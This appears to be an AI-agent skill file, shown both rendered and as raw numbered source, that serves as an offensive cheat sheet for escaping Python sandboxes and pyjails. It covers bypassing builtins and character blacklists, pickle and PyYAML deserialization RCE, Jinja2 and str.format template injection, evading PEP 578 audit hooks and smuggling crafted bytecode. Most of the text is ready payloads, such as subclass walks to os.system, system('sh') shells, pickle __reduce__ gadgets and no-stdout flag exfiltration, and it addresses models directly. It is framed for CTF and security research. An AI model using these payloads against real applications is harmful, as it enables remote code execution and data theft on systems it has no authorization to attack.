Python Exploitation & Sandbox Escape
Overview
Offensive Python: breaking out of eval/exec jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — a sandbox only removes names, never reachability. Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or __globals__ that still holds the real __builtins__ → import os.
The single most common mistake (yours and other models'): hardcoding subclass indices like [104]. They drift across version and import order. Always filter by __name__ / predicate.
When to Use
- An app runs attacker-influenced code through
eval, exec, compile, an AST allowlist, RestrictedPython, or a custom pyjail
- You face an import / builtins / attribute / dunder / character / byte / length blacklist
- A deserialization sink:
pickle, marshal, PyYAML, multiprocessing, numpy.load, fickling
- Template SSTI in Jinja2 / Mako /
str.format
- An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime
- Reversing or weaponizing
.pyc / raw bytecode
Not for: defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (id()-address and subclass tricks fail on PyPy/Jython).
Routing
| Situation |
Starter gadget |
Deep dive |
__builtins__ emptied |
().__reduce_ex__(2).__globals__['__builtins__'] · print.__self__ · (x for x in()).gi_frame.f_builtins |
pyjail-escape |
() / parens banned |
@exec/@input decorators · hijack T.__getitem__=exec; T[code] |
pyjail-escape |
| dots banned / limited |
__builtins__=os then bare system(...) · str.format bare-word subscripts |
pyjail-escape |
| digits / quotes banned |
True+True, -~x · chars from ().__doc__[i] · octal "\157\163"=os |
pyjail-escape |
_/dunder/keyword filtered |
NFKC look-alikes (math-italic U+1D400, fullwidth _ U+FF3F) |
pyjail-escape |
co_consts/co_names stripped |
use injected call args (res(vars(), vars)) · __code__.replace |
bytecode-and-internals |
| AST allowlist |
types.CodeType / __code__.replace · __build_class__ last-builtin |
bytecode-and-internals |
| opcode whitelist (3.11+) |
specialized opcodes + CACHE padding (dis._inline_cache_entries) |
bytecode-and-internals |
| audit hook (PEP 578) |
un-audited sink: sys.modules['x']=obj_with___del__;exit(), readline.read_history_file, _posixsubprocess.fork_exec |
bytecode-and-internals |
__import__ banned, stdlib reachable |
catch_warnings()._module.linecache.os · os.environ['BROWSER']=cmd;import antigravity · license._Printer__filenames=['flag'] |
pyjail-escape |
| interactive shell reachable |
breakpoint() / PYTHONBREAKPOINT=os.system · code.interact() · pdb via help()→sys.modules['pdb'] |
pyjail-escape |
| arbitrary r/w needed |
how2python pure-Python bugs (audit-safe) · _ctypes.PyObj_FromPtr/id()+ctypes (CPython-only, ASLR brute) |
bytecode-and-internals |
| predict "random" / hashes |
_Py_HashSecret in_dll · PYTHONHASHSEED LCG · random.seed(bytes) reconstruction |
bytecode-and-internals |
| pickle / restricted unpickler |
__reduce__ → (os.system,(cmd,)) · no-REDUCE INST/OBJ · multiprocessing indirect sink |
deserialization-and-ssti |
| Jinja2 / RestrictedPython SSTI |
filter-fn __globals__ · str.format {0.__init__.__globals__} + e.obj leak |
deserialization-and-ssti |
| no stdout / closed streams |
exit(*open('flag')) · compile('.','flag','exec') stderr · ZeroDivisionError oracle |
pyjail-escape |
reverse a .pyc |
marshal.loads+dis · pycdc/decompile3 · uncompyle6-decompiler RCE |
deserialization-and-ssti |
smuggle a crafted .pyc/bytecode |
MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code) → import x |
bytecode-and-internals |
Universal builtins-recovery ladder (try in order, shortest first)
print.__self__ / abs.__self__ → the builtins module (any un-banned builtin works).
().__reduce_ex__(2).__globals__['__builtins__'] (no subclass scan, no index).
(x for x in ()).gi_frame.f_builtins — frame attr, survives del __builtins__; async: …cr_frame/ag_frame.
- caught exception →
e.__traceback__.tb_frame.f_builtins (or .f_back.f_globals).
- subclass walk by predicate:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system'].
__builtins__ = os; system('sh') when dots/attrs are banned but a module is reachable.
Top gotchas (the knowledge models get wrong)
str.format traverses .attr/[key] with no call, and a failed format leaks the last resolved object as e.obj (3.10+). Subscripts in fields are bare words: {0.__globals__[sys]}, not ['sys']. Hex-escape \x2e/\x5f in the field dodges ./_ filters.
- Identifiers are NFKC-normalized (PEP 3131); raw input is not → fullwidth/math-italic glyphs beat substring blacklists. String literals are NOT normalized — only identifiers.
- Audit hooks can't be removed, but plenty isn't audited:
sys.modules insert (→ __del__ RCE on exit), pickle/yaml load, plain file reads, and any module imported before the hook was installed.
CodeType positional arity changes per version (3.8 +posonlyargcount, 3.11 +qualname/+exceptiontable) — use __code__.replace() for portability. 3.11+ raw co_code needs inline CACHE padding or the VM desyncs.
find_class is pickle's only real hook; REDUCE has no callable-side filter, and INST/OBJ opcodes call without REDUCE. multiprocessing/Queue/ProcessPoolExecutor silently pickle args → indirect RCE.
- 3.13 PEP 667:
f_locals is now write-through → frame-walking becomes a reliable write primitive into a caller's scope.
breakpoint()/pdb runs even with empty builtins; PYTHONBREAKPOINT=os.system makes any breakpoint() an RCE.
- No-stdout ≠ no-exfil:
exit(*open('flag')), compile('.','flag','exec') (filename echoed in SyntaxError), raise Exception(flag) to stderr, or a ZeroDivisionError/IndexError char-oracle.
Each reference file lists exact payloads, version notes, and blacklist-bypass variants.
1---2name: python-exploitation3description: Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute or character/byte blacklists, recovering builtins after __builtins__ is stripped, exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting or abusing CPython bytecode and code objects, exfiltrating with no stdout, or reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.4---56# Python Exploitation & Sandbox Escape78## Overview910Offensive Python: breaking out of `eval`/`exec` jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — **a sandbox only removes *names*, never *reachability*.** Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or `__globals__` that still holds the real `__builtins__` → import `os`.1112The single most common mistake (yours and other models'): **hardcoding subclass indices like `[104]`.** They drift across version and import order. Always filter by `__name__` / predicate.1314## When to Use1516- An app runs attacker-influenced code through `eval`, `exec`, `compile`, an AST allowlist, `RestrictedPython`, or a custom pyjail17- You face an import / builtins / attribute / dunder / character / byte / length blacklist18- A deserialization sink: `pickle`, `marshal`, `PyYAML`, `multiprocessing`, `numpy.load`, `fickling`19- Template SSTI in Jinja2 / Mako / `str.format`20- An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime21- Reversing or weaponizing `.pyc` / raw bytecode2223**Not for:** defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (`id()`-address and subclass tricks fail on PyPy/Jython).2425## Routing2627| Situation | Starter gadget | Deep dive |28|---|---|---|29| `__builtins__` emptied | `().__reduce_ex__(2).__globals__['__builtins__']` · `print.__self__` · `(x for x in()).gi_frame.f_builtins` | [pyjail-escape](references/pyjail-escape.md) |30| `()` / parens banned | `@exec`/`@input` decorators · hijack `T.__getitem__=exec; T[code]` | [pyjail-escape](references/pyjail-escape.md) |31| dots banned / limited | `__builtins__=os` then bare `system(...)` · `str.format` bare-word subscripts | [pyjail-escape](references/pyjail-escape.md) |32| digits / quotes banned | `True+True`, `-~x` · chars from `().__doc__[i]` · octal `"\157\163"`=`os` | [pyjail-escape](references/pyjail-escape.md) |33| `_`/dunder/keyword filtered | NFKC look-alikes (math-italic U+1D400, fullwidth `_` U+FF3F) | [pyjail-escape](references/pyjail-escape.md) |34| `co_consts`/`co_names` stripped | use injected call args (`res(vars(), vars)`) · `__code__.replace` | [bytecode-and-internals](references/bytecode-and-internals.md) |35| AST allowlist | `types.CodeType` / `__code__.replace` · `__build_class__` last-builtin | [bytecode-and-internals](references/bytecode-and-internals.md) |36| opcode whitelist (3.11+) | specialized opcodes + CACHE padding (`dis._inline_cache_entries`) | [bytecode-and-internals](references/bytecode-and-internals.md) |37| audit hook (PEP 578) | un-audited sink: `sys.modules['x']=obj_with___del__;exit()`, `readline.read_history_file`, `_posixsubprocess.fork_exec` | [bytecode-and-internals](references/bytecode-and-internals.md) |38| `__import__` banned, stdlib reachable | `catch_warnings()._module.linecache.os` · `os.environ['BROWSER']=cmd;import antigravity` · `license._Printer__filenames=['flag']` | [pyjail-escape](references/pyjail-escape.md) |39| interactive shell reachable | `breakpoint()` / `PYTHONBREAKPOINT=os.system` · `code.interact()` · pdb via `help()`→`sys.modules['pdb']` | [pyjail-escape](references/pyjail-escape.md) |40| arbitrary r/w needed | how2python pure-Python bugs (audit-safe) · `_ctypes.PyObj_FromPtr`/`id()`+ctypes (CPython-only, ASLR brute) | [bytecode-and-internals](references/bytecode-and-internals.md) |41| predict "random" / hashes | `_Py_HashSecret` in_dll · PYTHONHASHSEED LCG · `random.seed(bytes)` reconstruction | [bytecode-and-internals](references/bytecode-and-internals.md) |42| pickle / restricted unpickler | `__reduce__` → `(os.system,(cmd,))` · no-REDUCE `INST`/`OBJ` · `multiprocessing` indirect sink | [deserialization-and-ssti](references/deserialization-and-ssti.md) |43| Jinja2 / RestrictedPython SSTI | filter-fn `__globals__` · `str.format` `{0.__init__.__globals__}` + `e.obj` leak | [deserialization-and-ssti](references/deserialization-and-ssti.md) |44| no stdout / closed streams | `exit(*open('flag'))` · `compile('.','flag','exec')` stderr · ZeroDivisionError oracle | [pyjail-escape](references/pyjail-escape.md) |45| reverse a `.pyc` | `marshal.loads`+`dis` · pycdc/decompile3 · uncompyle6-decompiler RCE | [deserialization-and-ssti](references/deserialization-and-ssti.md) |46| smuggle a crafted `.pyc`/bytecode | `MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code)` → `import x` | [bytecode-and-internals](references/bytecode-and-internals.md) |4748## Universal builtins-recovery ladder (try in order, shortest first)49501. `print.__self__` / `abs.__self__` → the `builtins` module (any un-banned builtin works).512. `().__reduce_ex__(2).__globals__['__builtins__']` (no subclass scan, no index).523. `(x for x in ()).gi_frame.f_builtins` — frame attr, survives `del __builtins__`; async: `…cr_frame`/`ag_frame`.534. caught exception → `e.__traceback__.tb_frame.f_builtins` (or `.f_back.f_globals`).545. subclass walk **by predicate**: `[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']`.556. `__builtins__ = os; system('sh')` when dots/attrs are banned but a module is reachable.5657## Top gotchas (the knowledge models get wrong)5859- **`str.format` traverses `.attr`/`[key]` with no call**, and a *failed* format leaks the last resolved object as `e.obj` (3.10+). Subscripts in fields are **bare words**: `{0.__globals__[sys]}`, not `['sys']`. Hex-escape `\x2e`/`\x5f` in the field dodges `.`/`_` filters.60- **Identifiers are NFKC-normalized (PEP 3131); raw input is not** → fullwidth/math-italic glyphs beat substring blacklists. **String literals are NOT normalized** — only identifiers.61- **Audit hooks can't be removed, but plenty isn't audited**: `sys.modules` insert (→ `__del__` RCE on exit), `pickle`/`yaml` load, plain file reads, and any module imported *before* the hook was installed.62- **`CodeType` positional arity changes per version** (3.8 `+posonlyargcount`, 3.11 `+qualname`/`+exceptiontable`) — use `__code__.replace()` for portability. 3.11+ raw `co_code` needs inline **CACHE padding** or the VM desyncs.63- **`find_class` is pickle's only real hook**; `REDUCE` has no callable-side filter, and `INST`/`OBJ` opcodes call *without* `REDUCE`. `multiprocessing`/`Queue`/`ProcessPoolExecutor` silently pickle args → indirect RCE.64- **3.13 PEP 667**: `f_locals` is now write-through → frame-walking becomes a reliable **write** primitive into a caller's scope.65- **`breakpoint()`/pdb runs even with empty builtins**; `PYTHONBREAKPOINT=os.system` makes any `breakpoint()` an RCE.66- **No-stdout ≠ no-exfil**: `exit(*open('flag'))`, `compile('.','flag','exec')` (filename echoed in `SyntaxError`), `raise Exception(flag)` to stderr, or a `ZeroDivisionError`/`IndexError` char-oracle.6768Each reference file lists exact payloads, version notes, and blacklist-bypass variants.